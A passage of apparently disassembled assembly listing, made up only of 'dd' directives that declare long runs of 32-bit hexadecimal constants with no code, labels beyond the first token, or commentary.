0B467E1F7h dd 0CC50C941h, 0D9718876h, 0F10B48EFh, 62DD9D1Dh, 81BE0986h dd 264E6D1Bh, 0DF278E0Fh, 6A30250Bh, 1EDA8067h, 1FD0C724h dd 0E4AEB7AEh, 534B136h, 0EF08747Bh, 4DB58562h, 5849C75Fh dd 0F4A5C790h, 0CBEBD6E9h, 984B00FFh, 0E5AC097Bh, 3F8A0531h dd 27E622D1h, 0EF3C01CEh, 2ABFBF38h, 0D5AB183Eh, 0FBE29C8Fh dd 68049804h, 66FDB51Bh, 0FFD003DDh, 0B8CE1BDEh, 0D91FFCC1h dd 0EDFAFB75h, 82AD62E6h, 0A825D09Ah, 0BDB2F648h, 0F5D33BCh dd 3EFB937Bh, 0EF3E853Dh, 0B715A7B8h, 75E4E0CBh, 0A0B59D97h dd 0CB8827BEh, 9B28047h, 0B212AFC3h, 99411C3Dh, 0C76782Bh dd 19FCA654h, 8652181Fh, 9789173Fh, 74CA78B2h, 76134DA7h dd 2A7B7411h, 542EBE6Eh, 7FFC1DA5h, 7E13715Eh, 10C5A4B5h dd 0D3FDAA84h, 7BF19489h, 0AED0E54Bh, 0A23E5228h, 99D8495Dh dd 0F54FBB20h, 0DF18B6E2h, 0D68949Dh, 0B2E8F27Eh, 0DBEDE54Ch dd 0A32D4212h, 23C12F35h dd 0A190A6D8h, 0E24279F2h, 0FBE3BE30h, 899932B3h, 9AD3B3ECh dd 52C490C6h, 1EEB23EBh, 0EDE80CE3h, 0BBE14BE8h, 639D4BD3h dd 3FE69283h, 0D6F09885h, 9ED89F95h, 914443EBh, 0EB0CFA19h dd 68CC1042h, 745266D5h, 0F9EB8222h, 9F986E7Eh, 21362A2Fh dd 9F20B1D8h, 55776541h, 33E8A40h, 0CE4BDEDCh, 675E4315h dd 0DBAB2443h, 0D5889492h, 70163591h, 0A3ABE2F5h, 5B7132D3h dd 46867A73h, 0A0350877h, 245E7A3h, 0FE9E1C7Bh, 0FEADCD04h dd 7446AC2Ah, 357624A4h, 0DE690702h, 0E49BBDCAh, 0CECFA503h dd 0F5328677h, 5D8C991h, 739EEE02h, 2C0688E9h, 0B5BB4D0Ah dd 3243429Ah, 93510A83h, 0A2836776h, 0AF7DFB0Eh, 87E69D44h dd 6E8A482Ch, 226622D2h, 4151DBA0h, 9E8151A4h, 8CA7B837h dd 40DEFF2Ch, 96474FACh, 4056A77Ch, 0DCDDDD90h, 218995DBh dd 44275443h, 3676FB8Fh, 9C136D80h, 8216122Eh, 863850DDh dd 70925899h, 43F15C60h, 0DC04BF7Eh, 0DA78663Eh, 287FED6Dh dd 5BFE8D09h, 601DB91Dh, 0ADBF8462h, 7B25EDC2h, 335DA1ABh dd 36712081h, 4263B6E8h, 3153C15Bh, 4CA29247h, 8D99E726h dd 0B92CD898h, 33F5CD69h, 3D6C2C7Fh, 3AE875BBh, 5EF2DF44h dd 4BDFE245h, 0F3D0A0Ah, 0EBD68D69h, 0C698DDC6h, 72F9DA5Eh dd 60A01DD8h, 4B6CF56Bh, 0DA4CA38Dh, 0C62B9ED4h, 0D89B03E2h dd 9B96FDE1h, 701533DCh, 7911605Fh, 2A4B09C3h, 0C0A8908Dh dd 4FD1E9Ch, 70A5F07h, 259B1134h, 0FEE02407h, 611CF53Fh dd 0E4AB11C9h, 2D68EB29h, 0AEF9630Ch, 0AFC1FB70h, 0E290D14Bh dd 4A810D9Bh, 0E670009Eh, 3D933E93h, 0E8376A18h, 9F2F379Ah dd 45A979C3h, 0A8B21077h, 28F46E3Ch, 0ADC0E836h, 91D3C543h dd 62F8A49Eh, 9990BE8h, 54138969h, 9388EAD0h, 0AF7E7512h dd 6AC1D5CEh, 0E73F9B39h, 4298617Eh, 0A2B8BEC2h, 89D7BFF2h dd 406C72Fh, 10750AFFh, 21083E95h, 4A6BCE92h, 8C48ADD9h dd 0E8DC6703h, 9CD0A163h, 356A4A71h, 55C64C5Eh, 0EE32EB07h dd 0F65CB61Bh, 20505D6Eh, 71FE734Eh, 6A88EBF4h, 0DC2C710Ah dd 367AD970h, 0BBE50F9Ch, 76DE1A9h, 0C390E0C5h, 0F6A1A007h dd 0FD3DC076h, 1368F24Bh, 7268C64h, 1BD1C62Bh, 2D1AA9C5h dd 9E5C9923h, 241247C6h, 4B8C82C6h, 3EE2BAB7h, 0BAA6DF2Fh dd 0D513DE4Eh, 0BD3B25F5h, 42DD8C93h, 864D14F0h, 798B1935h dd 0B6ACB03Fh, 5F77CC62h, 9038EC89h, 24E51285h, 0A3607F28h dd 33A4A82h, 6F8B2CAh, 2F0A6493h, 0E604F2E4h, 0A17F18DCh dd 79E27644h, 0B1FCFBC4h, 0DE598F80h, 0AB549181h, 9FE6F34Fh dd 4092BDF4h, 0D3A84882h, 0C9601CE4h, 33467034h, 9D73854Fh dd 1A84C356h, 0B29F5AE9h, 3D70226Ch, 5A29F1BCh, 0C32A0352h dd 51CA5717h, 548F82D1h, 64655DEDh, 0BD7ADF2Dh, 4A7B318h dd 4168D882h, 8C1DBC4Dh, 508A8497h, 37615A6Bh, 6CD78EE7h dd 0D1A8AAADh, 31B1E310h, 0A54655E8h, 3F82DCDBh, 0C02CAE68h dd 71385E3Fh, 8A24D71Ah, 1405798Eh, 69CAEF2Ah, 9B1600D1h dd 0B755A898h, 390CC61Fh, 84D118A9h, 971665AFh, 17695A28h dd 0B08DF2FDh, 8BF0BD6Ah, 678D165h, 9F993703h, 0F6864310h dd 38010ADAh, 5CDA8FF0h, 0FE361B34h, 59F79DF1h, 7713189h dd 91901437h, 0A92B939Ah, 2B7BD747h, 83ED9BE9h, 0EC9E680h dd 111B479Ah, 89095AEDh, 191DE53Dh, 1124CB70h, 0EB975338h dd 0C5E29D34h, 0DD50C96Bh, 9053CA8Ah, 0C16DD97h, 247EBA66h dd 4BB80F0Dh, 0B5A88606h, 8FB6C147h, 70E5983Bh, 0B2AD05B8h dd 0CFD987B4h, 5445FE14h, 7F332289h, 0F3BCC232h, 4EA2B2BFh dd 0DA9236FDh, 73E45016h, 0ECECE371h, 6EE0BE22h, 1046B1CDh dd 4387D979h, 417E8347h, 968A0D24h, 3022FC01h, 0DE647528h dd 57343548h, 0DCED242Ah, 0AF9EEF4Fh, 6E63A7A0h, 0EE479ACh dd 81D11388h, 0A8A94A5Ah, 64BB839h, 0EFFD8C14h, 66557113h dd 8E04A923h, 82E9D19h, 0EEC048C6h, 0F78ADD35h, 88BBAF35h dd 0DE1AD0D7h, 6F89DD10h, 9B81091Eh, 7EBBC2D8h, 0B789795Dh dd 10C9F834h, 0BC284C46h, 0CDA5B18Eh, 33062F83h, 2B4540F4h dd 73A9BE79h, 0ACC62ACCh, 54F707E5h, 0E7EBD3E6h, 7F961453h dd 7A281834h, 2CF71F94h, 0CD61F8BDh, 53BB1DA8h, 610AFD6Fh dd 0B77DAAD5h, 2FA21EC9h, 0DA430906h, 0FAA0AAABh, 0D7F73915h dd 29775034h, 46787C9Ah, 0A38765E9h, 991FFD57h, 0CEADD786h dd 2458B213h, 0BC4178C4h, 0C266D795h, 2B048D23h, 5C09D94Ah dd 695C23C6h, 0D644E922h, 0B152BDF2h, 8B401CDFh, 5AF259A6h dd 4FEBD0E5h, 5E42D256h, 5F4E7B2Ch, 83781400h, 7ECED9D5h dd 0AC25EA23h, 7922E990h, 555C3A4Dh, 98739485h, 0DD045C27h dd 8C2C50DFh, 0F94E5159h, 0A5D4CD17h, 54167BE4h, 46C488B4h dd 42451092h, 8A40605Ch, 1CBEF89Fh, 0DF4E3481h, 0EB632ECAh dd 0A0958AA4h, 3E0BEE02h, 0E316A51Fh, 0E9FC613Ah, 0B578B2Bh dd 0EA3C10C0h, 326BDFAAh, 0F260854Ah, 81396FE7h, 0EBE7BD33h dd 0F2E240E7h, 1A56BAh, 0E89AF7ACh, 0DB679BC9h, 65BD0FFAh dd 0B58E6AE4h, 0B5CC5F95h, 30DE47CFh, 0D46A94BDh, 0E4FF9DA4h dd 63E25CD7h, 0F32992EAh, 83D3D436h, 0BA88C874h, 0CE3F801Bh dd 1261B97Ah, 0E3F94E06h, 0C4075B4Eh, 3FE56527h, 0EB1C558Dh dd 88F7B917h, 0F5A91377h, 0AD54FA3Ah, 51968B97h, 0FB1C820Ah dd 0E0FA1A50h, 5CAD94E0h, 5360ADD3h, 8CCC251Fh, 5D011D82h dd 0E5475CECh, 0BD27CC35h, 5B9D8D60h, 3FC5E78Bh, 0BBD2E8C8h dd 27F7A434h, 11E5BFE5h, 67D6CCD0h, 8683442Bh, 0A29C2C2Ah dd 262CBB7Fh, 0CB05061Bh, 5C869177h, 477BE08Ah, 0BD5AC6A2h dd 93EE98Ch, 63BD06CBh, 0F844205Ch, 7C322405h, 0EC2D5A80h dd 44CDED97h, 0CAB294DDh, 0DF1AB7FBh, 6393D139h, 0E4FC0850h dd 0F020EB78h, 0D6B97309h, 80B8C3FCh, 2CE82A54h, 854A7A10h dd 11DE032Ah, 960B3DE1h, 0BDB3180Ah, 10140A4Eh, 940F4761h dd 4BA87DF7h, 745E622Eh, 34791B59h, 6263762h, 85CE7C0Bh dd 0CB97ECD9h, 19204FEAh, 931CD0A6h, 0BDEF49FFh, 90C001C6h dd 6003F119h, 0ED28EBFh, 4EBA571Dh, 8D4B40EEh, 0D2D94020h dd 0B7800FA6h, 27B88253h, 0E8E02D10h, 2963287Eh, 299EDD2Fh dd 0FE552C47h, 72BC81F5h, 24D93ECEh, 15D18C90h, 0D0FD62EBh dd 87F433Ch, 0CA26E421h, 0EA19993Bh, 1725F04Dh, 0CCA3C2A6h dd 1CAF0FA8h, 0C2C8C84Dh, 0BED95A0Ah, 0A86EDBC2h, 91BCB449h dd 0C39AA864h, 0C81A2AEFh, 0D792DA31h, 70A18F6Ch, 0C905827h dd 0B3A57006h, 130BD614h, 0E55D3115h, 0F2A1570Bh, 656B4EADh dd 0EB3ADFA0h, 9BA81D1Eh, 72EAE942h, 19DA2DA7h, 0A5C358B1h dd 3657623Eh, 11A9BB9Fh, 0B693F4F6h, 0E60592EBh, 52AD86B8h dd 40F978EDh, 86D9F731h, 25304F8Ch, 3749B3A0h, 454AC714h dd 0BA28B5E4h, 0E0D741C8h, 0B8C5410Ch, 3CB3283Eh, 0DEABF657h dd 6E2F72F8h, 0F830C145h, 0F4CAE3B3h, 0A6FC4B48h, 9E1AF073h dd 0B95BDD24h, 4FBA146Dh, 6E8286D4h, 830D1A07h, 72B9DDA5h dd 49130BBAh, 4D56194h, 8D8E42EFh, 1AAA50h, 73A4A214h dd 0B45EBA1Ch, 0FDFA9F31h, 889A22E3h, 9C2B8E16h, 5FA5CC3Ah dd 0EFB17F9Dh, 0AECFC6EEh, 0D031A520h, 0A53F522Dh, 5C7BAD74h dd 0AECBD396h, 2BA7B56Fh, 3FE514E1h, 66C87E6Eh, 7FEDFBDBh dd 8226F8CFh, 0EAF91519h, 0BE64600Eh, 52570E24h, 54017DE4h dd 6366CDF5h, 3176EB94h dd 70E80179h, 2E655A82h, 4B451EDBh, 3FE90C5Ah, 567FAE3Ch dd 8C970AC0h, 0E34A1AF3h, 0F1D68600h, 963D8CCDh, 0FD0E3943h dd 629C3E16h, 4AD32204h, 0BBC7D2B2h, 0A19C7EA5h, 53DBC672h dd 0F3AC85BCh, 98BEE8D3h, 0D8C338E4h, 1757FB2Fh, 0AE7651B8h dd 1E482236h, 0D0D0D846h, 0A2EB2402h, 0C524F938h, 0F9F971F3h dd 0D4A3B365h, 0BC406382h, 53B85CAAh, 212CC7B9h, 91D600E1h dd 30F111E1h, 3A069FC2h, 3C66356Ah, 45ED85FEh, 5EB416BCh dd 0ABE9C217h, 66A8E86Dh, 72DD7A83h, 3784B05Ah, 0CF073EF7h dd 0DED65C70h, 21F7E85Bh, 0E70DF22Dh, 0EE51F898h, 0EEF849FEh dd 15E42D08h, 85C6519Bh, 1511061Fh, 0C1F1DD2Dh, 952D091h dd 0BE8C8753h, 843333DBh, 97751F7Bh, 256EDFF6h, 86FCB4BBh dd 0F8DF9AF4h, 735AC2C2h, 66B3699Ch, 0E51E7D4Ch, 0E19252D1h dd 0BB3EA97Bh, 0D175B7E8h, 71A62364h, 18FFB92Ch, 95DBA867h dd 0A8A24A84h, 0DFF976F8h, 3F8D3412h, 0E4083690h, 19353BCFh dd 594B1D82h, 0D6E12C97h, 8335F627h, 371EEC95h, 0FE26C3A1h dd 8DD3D469h, 563E9C84h, 0F0F4C6CDh, 2C897F0Fh, 0AE379B56h dd 0D506B705h, 0DBDBB941h, 751144A4h, 47339E57h, 9BD14350h dd 39EAA22Bh, 86DD4FC7h, 2B001727h, 11FE6E7Bh, 0B50EC4E9h dd 0D9ACB95Ah, 6BAA2BAFh, 931CEFAEh, 0A134A330h, 5A21E78h dd 0D0EB6D58h, 0EB26BA88h, 0D4470B8Ah, 15FD11A1h, 0D3FCF1DFh dd 0A84AAE38h, 5150A23Eh, 16EAA1C5h, 6EDE95B9h, 99C120B1h dd 0C22E99A8h, 68061537h, 4897162Ch, 8B9C8793h, 0F2CE236Ah dd 0CFFF348Ch, 0B694E9F3h, 0C8B4C9Bh, 0D65CBE1Bh, 3AE4CCF3h dd 38148FAh, 6F53C2EAh, 8B3FA501h, 0C5BCB7F2h, 0CA19045Eh dd 1722DA2Dh, 0D91ADE00h, 49AB36E7h, 0ED49CD7Eh, 0B370B59Fh dd 0B3E3EFA5h, 74565B03h, 0C29B26C0h, 0E0857A2Eh, 5301747Ah dd 0DA7DAE43h, 0DEDC2473h, 0ABA7552Bh, 0FDFE0DC7h, 7F9E1FA3h dd 164968A0h, 97F5A423h, 9A1D0F5Dh, 25D757E8h, 0CAE8A51Fh dd 74D10383h, 0C74D0BEDh, 4874330Dh, 8E0FACB0h, 0F8EB9344h dd 30B78CCh, 3EED8A63h, 6434EE51h, 0F61C688Fh, 381419DFh dd 0FF4D4AEBh, 9BEEEFACh, 10084F75h, 0B999593Ch, 0E12323DCh dd 1C7621E4h, 0CB70EF6Bh, 0C28AFFFBh, 0A6932D2h, 0B0F6B5CFh dd 29D3B599h, 0E63B6FCBh, 962B4F40h, 0D2060AAAh, 0E4DBBA66h dd 0B2CAC039h, 171A9564h, 0E11C9139h, 256C2E2Fh, 5F746CFCh dd 6D05A5DEh, 7D9A82E6h, 0EA24EA15h, 1F240A82h, 2A4A57E3h dd 3130763Bh, 9EFAC65Fh, 48B74Ch, 776A8F1Eh, 0E1CEBE25h dd 8361F46Eh, 0E66DFA56h, 0FD46FC98h, 0C6CB3D5Ch, 63FC25BDh dd 5CE0F493h, 985F2F7Ch, 2D7AB466h, 0A61DA119h, 72C80A8Ch dd 0E62911FAh, 32E3C80Eh, 4BFC24Ah, 230915Ah, 0C3E03BCCh dd 430471B3h, 0C63479C4h, 0CA45C450h, 0CCC9BD76h, 0FE202CA0h dd 741AFE0Eh, 0E9738418h, 666554FDh, 0EC794CA2h, 0E74185A0h dd 0F3517708h, 0D92E3787h, 87B3D341h, 7C80EAC7h, 0D1BBB941h dd 0F1E349Dh, 0D693685Dh, 6D263EB6h, 9AE2F365h, 0CE81ACCEh dd 91D6AE5Bh, 0C6A8516Ch, 73906459h, 0A9B4F83h, 567D244Dh dd 6F3EE2DEh, 8DD86089h, 73E6E5B5h, 0E0406AA9h, 1700FA65h dd 8E84216Ah, 7E0B1663h, 117E08FDh, 90C0C0D1h, 10001EACh dd 724A7D61h, 0E0C0F667h, 3982604Eh, 0DB0E4F1Dh, 0FCA2A288h dd 0BC84E789h, 0DF13FA14h, 0FE75314Ah, 5F9CA4CAh, 0E7E95Ah dd 463E08F0h, 8406CDE8h, 0EDB7F242h, 6ED6DDEEh, 72D0A43Ah dd 408039B3h, 42899D7Ah, 0BCA09A22h, 0DDFCFED0h, 0E3DAD638h dd 7B6D5D27h, 24D3EDB8h, 7F18AD53h, 0BE84C6FBh, 0B051BF8Ch dd 0E1FA2AFFh, 8537E1D8h, 96EEEB6Ah, 0A2824993h, 20776D12h dd 26E5D216h, 0E2CB5102h, 3B3669B0h, 9187AF85h, 7CD2F68Fh dd 0EE10FF22h, 0F911518Dh, 35D2A72Fh, 60EE6FE0h, 0C803C8CAh dd 3CBDB485h, 0D11F3023h, 9026D603h, 7EFC6EE2h, 93863A2Dh dd 68FA12C6h, 0A164028Ah, 8BCD992Eh, 7A7C0D12h, 91A91B16h dd 0CEB8F1CDh, 0E2ADC42Ch, 552DB98Fh, 0FC728225h, 1498B83Ah dd 2BF74DE8h, 89F1FEF4h, 84917CADh, 294E76E2h, 16A56D7h dd 0A782F098h, 0AAEA9EB2h, 3E597EEAh, 6F391300h, 841545C3h dd 70BF4F1Bh, 0BC018595h, 0AF85C4C7h, 8FAC81BCh, 0F86FE5B9h dd 38E7AA28h, 3B8774EFh, 95CE20F2h, 7B910283h, 187A9A61h dd 389822BFh, 0F34E016Fh, 8BD2619h, 0BB1A252Dh, 46EF1493h dd 352D3DA6h, 5491803Dh, 0DD7A5108h, 0A09DB5C5h, 0B93B6EDFh dd 0EE926FAEh, 0C2E7575Ah, 695E2AABh, 0BB21E618h, 0C1EEF4E8h dd 1B89AB50h, 0A835BC19h, 704DD3A8h, 0B4A0CC97h, 0B776DC77h dd 68AC9116h, 5AF82B98h, 0CBF8C574h, 0DCF83A52h, 978A4482h dd 3AF9C58Dh, 7AC002D3h, 9AE90C11h, 2532324Dh, 0C02329Eh dd 0B0C3E91h, 5D15ADDFh, 0DFA68EE4h, 8ED3D62Dh, 38670584h dd 0A6E91660h, 0C12CEBFAh, 7F4D602Fh, 7B51E897h, 3687880Eh dd 260C1185h, 8EDF554Fh, 5C1680D2h, 0D190F745h, 1E8B8DAAh dd 0FB3E921Ah, 58A0DD72h, 36B2644h, 53376D2Fh, 0FAAC00C1h dd 225FC3B8h, 0CEE250F5h, 0E4221913h, 8C622A0Dh, 5D748C15h dd 295A7A30h, 0B81F2455h, 45E5FBB3h, 196A1A2Eh, 58354599h dd 0F6943BAh, 4F162D29h, 5B1E083Bh, 856B50B4h, 0CBE62034h dd 4B0797h, 2B4F6108h, 38103696h, 71001F16h, 0AFB2993Dh dd 794C1081h, 80264A7Ah, 3E737B4Ch, 0ABD84C84h, 0BE06CAF8h dd 0A06C5206h, 0D4BE8857h, 7DF7792Ch, 0E9A0BBD2h, 5DC2FBCCh dd 947CECCCh, 0A0D925A1h, 2C1F3F38h, 0C08B155h, 0F72B4C1Bh dd 9B4B6E2Eh, 27AF9693h, 0F663D6A2h, 840B821Fh, 0C03DF5A9h dd 7B7E4B4Ch, 417B5F0Dh, 6EA0B6EFh, 4B6547A7h, 0E8B6C42h dd 0E9012CCBh, 0C28276F4h, 0E6D137FEh, 827800F1h, 0ACE96BCh dd 79784CCFh, 3376F041h, 0FEDB922Ah, 0C3A9D37Fh, 526716F7h dd 320989DFh, 0D27E4B40h, 0A5EA3B6Ch, 3F6CFF0Bh, 6802D51Fh dd 0DB569A4Ah, 0B8C21449h, 0F6AA865h, 609075F2h, 8CA97B8Ch dd 0DEABC0E5h, 0D2543C5Bh, 0DE773CDBh, 93BECAE1h, 2AF1B131h dd 0A8D5DDA4h, 8489C07Ch, 59BC9E06h, 785DCDBEh, 0ED2F4214h dd 37428B0Ch, 0BC99C9D8h, 0F6523B74h, 51618FA6h, 6C9CB979h dd 0E3C35369h, 0A92E1ED7h, 9CAC16F8h, 0E3D51657h, 0F41D116Eh dd 91F051E2h, 0DCDBD9AEh, 9D6CB21h, 0AA8CC165h, 45B7020Bh dd 0F648C86h, 2F93B7BDh, 1AAF20B7h, 0BAFBA7D3h, 56C0550Dh dd 3E530117h, 3264E540h, 261EBAB7h, 0FE524E73h, 9B2C011Dh dd 5AE0FF60h, 6E7D6BC1h, 26C8EF8Eh, 0F49C4339h, 39E5F527h dd 0D0A1B9B2h, 0A2F0376h, 0E6688474h, 0FF9F1BE4h, 0D0EF6ED1h dd 29221934h, 219660C0h, 0D34F3538h, 6EF2A228h, 0ABB09315h dd 9E074117h, 29037761h, 832FBAD7h, 61ED3258h, 76934D31h dd 0AEBF6E7Dh, 0BA6BB1EFh, 0E333BD38h, 0E6DB1D6h, 2F5FC419h dd 0FCEA5918h, 0F6CED88Fh, 0F48E0BA5h, 0A1C340BCh, 802C20DDh dd 2352213Bh, 0A4070746h, 3C8501F1h, 2973890Eh, 0BAAFDABFh dd 37C51F2Ah, 1F906DE7h, 0A90AD3B1h, 0E8E5640Eh, 0C88B9F28h dd 86645FBBh, 444D4030h, 0A79840C3h, 0F5FE00D3h, 0B2844A52h dd 5A2DFAA6h, 0FD75AB41h, 320CC91h, 21D78F2Eh, 9311B5F5h dd 0DE0686BCh, 4DCEC9BEh, 23EC62A9h, 4F6F4EBFh, 8DC1ED4Ch dd 0DC1EBF4Ch, 26C7AC6Fh dd 1DA80E7Ah, 911DCF35h, 51723006h, 5E78C241h, 90C6D19Dh dd 2158B5EDh, 8973AB76h, 1F27F20Bh, 0CC21C941h, 0AACBBD21h dd 7B045079h, 0BB5AE10Dh, 84CEE031h, 64C1B90Ch, 0C3864452h dd 6560E9EDh, 837288D0h, 239B0C39h, 766D1EC1h, 3BD9B5A5h dd 9C2EAE12h, 0AB9D6CE2h, 3F0D7464h, 7105C2FBh, 0EE371218h dd 0EC9DABC9h, 82138BC8h, 9242FCADh, 0BB0A9446h, 32B10A32h dd 8848DB22h, 20C4877Ah, 0FB77E9D9h, 2ADAB1C5h, 44046F84h dd 0AC3A6F03h, 0B11CDC98h, 6C7A545Ch, 0A8A514E9h, 0AE9B023Fh dd 0C4011B2h, 1A3B0779h, 16BC915Ah, 53742D3Ch, 0F85128D9h dd 0DC763EE6h, 0D2C2CCF2h, 66CD4F97h, 0C84E03E0h, 740E3810h dd 6A2E9736h, 0C0E53A52h, 0AA9E86C2h, 0EACBE5Bh, 284A62A6h dd 32519483h, 943B29Dh, 5FFEAA4Ch, 17F51685h, 0E25476F7h dd 0BE07F334h, 7AB6702Eh, 0ED66B8B1h, 0B655494Dh, 9C135369h dd 9C8642E3h, 0B6AC341Eh, 69E2F768h, 0D52B19F3h, 38245FDAh dd 0E40DE931h, 2282A01Fh, 0FD86A097h, 99016E4h, 0AA360997h dd 375CCD98h, 0EC7D28B9h, 0ADEA8573h, 0F31B70E2h, 0D0A4BD5Dh dd 1075FACCh, 39883015h, 52291983h, 1AA1C52Ah, 874B73D4h dd 2B59610Eh, 2DB108FDh, 6018867h, 0C273C11Fh, 2522F2BBh dd 8C360D91h, 51EC4647h, 8A380688h, 0E45E34C8h, 0CB9F58A5h dd 7DC83C4Dh, 4A4310C1h, 2A487787h, 0A5D947DEh, 832889A9h dd 9D35EB90h, 9244CA63h, 4263CD96h, 0FE024923h, 17155030h dd 3D767DA6h, 69B76459h, 0E5245605h, 0BC5FB7ECh, 3C960209h dd 8BC9AB8Bh, 4A594918h, 2BFCF2ECh, 0C4EB2C65h, 49243EE4h dd 0B0BFDC2Eh, 5E6DBF3Eh, 3221952Dh, 11861134h, 0D7CD6C3Dh dd 0C33ECC81h, 3DD50D60h, 6FE33A3Bh, 45CCA073h, 0C0A30DAEh dd 0E46EE553h, 4CB4F62h, 0ABB4FD75h, 0D8D1BAF9h, 664F419Ch dd 8346C89Eh, 4BCE1EF4h, 7AB7AF70h, 0F56B4FF0h, 0F262D98Ah dd 721F4351h, 2E101A59h, 6FF586CBh, 7AF1C965h, 664D3E1Dh dd 0C846BEF9h, 0CDA79190h, 0E103FEA0h, 2FA51E9Fh, 380D2FDEh dd 0CDE51B1Dh, 0C200A9F1h, 0AB281C92h, 4E2C0A2Ah, 56D5BE7h dd 59683FD8h, 1119C0B7h, 22390D6Eh, 3FFC38DCh, 0E4A93F35h dd 2D3972CAh, 4218AE7Dh, 3DB2344h, 853F6402h, 2D4E7890h dd 2AA6013Eh, 98F49C3Ch, 0E09A4330h, 87AD5804h, 9C3B4AEFh dd 68CA2A00h, 1CEFBDB9h, 848FCF9Bh, 316960EEh, 818A4C46h dd 3AA9FEF0h, 2527FDD4h, 1CBB52CCh, 6AFD5D0Bh, 0B52E1AD3h dd 2E01DA0Bh, 1F9C0D59h, 0A419296Bh, 0C198E851h, 0ECB2ADB2h dd 2F13273Fh, 2B95EEE1h, 845440F4h, 5B25FDE3h, 1AEE3D20h dd 51DA6DA0h, 68FC0AB4h, 564AD41Ah, 0DBD53049h, 0CEB64462h dd 9FD24202h, 9022A767h, 464E59BBh, 0B1990004h, 1E797BF2h dd 638D35C9h, 0D64C5F11h, 0C4A3FB29h, 8E003A2Dh, 48E436F3h dd 9E646E7Ah, 0DCF8B45Dh, 99B4DB19h, 23BBC8C7h, 0CE4296BEh dd 600DACB1h, 0C425591Eh, 8246F9ACh, 0DD283AD0h, 0A73F208Ch dd 8887E6C2h, 0DDEA1301h, 0F2FC2111h, 34F16645h, 0B98AB498h dd 99BBD9Dh, 3A6BE9F1h, 74BBB0E7h, 0EC2ECC1Ah, 562A4490h dd 8183C495h, 19FAE423h, 0FE4122F7h, 0B855C35h, 7405A25Fh dd 0A751346h, 1EBD7C19h, 0AA1845D0h, 0E2E56D17h, 0CF4446CDh dd 1D4DDF5h, 9C3701Ah, 8416EF99h, 489E9C88h, 0AE3D1419h dd 41E3F170h, 6DDD705Ah, 0E2DFB77Bh, 0BACE867h, 0AFCBF72Eh dd 4422708Ah, 0A19EBA2Eh, 0D591A306h, 0E0003672h, 1E3EB2BFh dd 0CB5C28A0h, 8E10950Ah, 0BF20657Dh, 51DF3B49h, 8D970562h dd 2BA47F0Bh, 0D1061F6Dh, 4BEFA972h, 808928B5h, 26E21F12h dd 6DCA4299h, 0E0EFFE44h, 88CDA0ADh, 62C2D711h, 27D387E8h dd 2A6E3BA8h, 0D286D753h, 46BFDD2Ch, 0EE0C3C81h, 48BA2F71h dd 0A87B9377h, 330DD05Ah, 0B66DE82h, 0D921FE90h, 0C74F9DC1h dd 824BC01Eh, 6CE9EA0Ah, 0FB6AC17Dh, 4EFD557Eh, 979DE31Ah dd 75C382CEh, 21AA9AC9h, 0B29447CCh, 6D4A8265h, 6E4E56A1h dd 7398A356h, 98295844h, 0BFF3673Dh, 0D69AE963h, 6B3CA52h dd 5F82ABE0h, 427068BFh, 0B018314Bh, 662DD059h, 69ED9FB8h dd 0FEA9EA60h, 0FC5F9ED4h, 60717820h, 1DB4B339h, 0C36099E1h dd 9F794774h, 6FD33904h, 0CEDBD625h, 5F5C66D8h, 7A874874h dd 6B1915Ah, 0F47E6D72h, 1F0BE22Bh, 223E7CF3h, 0C6C3FCF1h dd 0F61854BEh, 9F7771ADh, 8D626B45h, 47599527h, 0C04FDE36h dd 596FE014h, 2B06A42Bh, 3890DB39h, 0F653B80Bh, 5EAF4C9Bh dd 0E0C26EB2h, 823559E5h, 1CA82E10h, 0EB92AB48h, 0DD413690h dd 4A7727BEh, 3FB90E35h, 0F1AD533Ah, 97982723h, 371BC59Ah dd 931F8E25h, 7A6B054Bh, 4693DBC1h, 8ABDF20Ch, 4514C7h dd 3988C4E0h, 282A82E4h, 62F3FBC1h, 0C41A422Eh, 0EEA37EEEh dd 0C2BBDE58h, 0D9819613h, 14F7728Eh, 5040B34Ch, 881DA906h dd 0B61644D5h, 0DC08667Eh, 0EF9DC8FBh, 1053A386h, 0C8ED0C12h dd 0E17054A1h, 9ACFECh, 475E090Bh, 0C9BC7B08h, 0DA8F8275h dd 6C487A11h, 6669A565h, 0EB80534Ah, 0BD0D5D6h, 0FD6FD041h dd 8E3F1863h, 1EA05E7Ah, 0A462C650h, 0D069A7D4h, 0D6E3EAF2h dd 0F99DF377h, 0CD7BE20Dh, 44C76144h, 0AE6BDB30h, 845E37A7h dd 0A2253D01h, 0B1C563AAh, 24A3F18Fh, 294FE987h, 132BE0F9h dd 38F09844h, 39A5B200h, 308084B5h, 210A8D6Eh, 869064A5h dd 96E1ECBFh, 66C66B23h, 185C57FAh, 7DB9C9A5h, 72C2B9C6h dd 0AA69F85Fh, 1E013785h, 0E81721D3h, 5B75CCB8h, 378F18E8h dd 6118960Fh, 450CF951h, 0DC03897Fh, 4A079155h, 8240596Ch dd 0E8A132F8h, 0B589BAD9h, 0C2B8ACDCh, 193DF240h, 7BCE628Bh dd 757C747Fh, 0B3744ECh, 856649E3h, 8FE079BBh, 0C6A81E5Bh dd 0C0FBA03Fh, 23B5515Dh, 0D86A5039h, 0E741290Eh, 53B5E318h dd 978CC20h, 16425363h, 61E0658Ah, 0C7FF69F5h, 9AFB9A0h dd 0D5B52619h, 0B1A3C333h, 8594D20Bh, 1A828031h, 427E6C80h dd 0DB6A3CDBh, 0B3E69996h, 4036EEE1h, 0B125784h, 56D68DB8h dd 794BD186h, 2E596969h, 396B7202h, 0EA0D1229h, 7079E8C6h dd 0BF063F20h, 0C90D0BE8h, 1C45EFDEh, 0F8233853h, 0FEDA97ABh dd 658229A3h, 0AC420CBEh, 38FA13F0h, 91C8B4D3h, 0C07915F1h dd 4C976475h, 0FA9967EDh, 710525FCh, 28FE80F7h, 8DE43C36h dd 0EF30FE8Ah, 9CE25682h, 0FA9D4ECFh, 350FFF4h, 0DA1BEC13h dd 0B80496C7h, 0C0080C92h, 1F6B3AAAh, 0F96AF719h, 3994B4EBh dd 0FF158E4Bh, 8D7A602Dh, 4EFB266Fh, 2E05FCD9h, 5B5A2DABh dd 0CB4E6E01h, 0C07BD3D7h, 16D0915Ah, 0A65AA1Dh, 9D3EC2A1h dd 578CB987h, 0D343F237h, 66869456h, 1E676330h, 0FC94F0B2h dd 210E8D2Bh, 0CBF03E17h, 298A39A0h, 0D9D296CAh, 95EB4393h dd 8264D4C7h, 89F78CABh, 0CE3A53F2h, 9A47B0AEh, 0ADA006DDh dd 842012CDh, 716CE3F3h, 0B561797Ah, 135B00E5h, 4E9D05F5h dd 236442ECh, 35D1C27Eh, 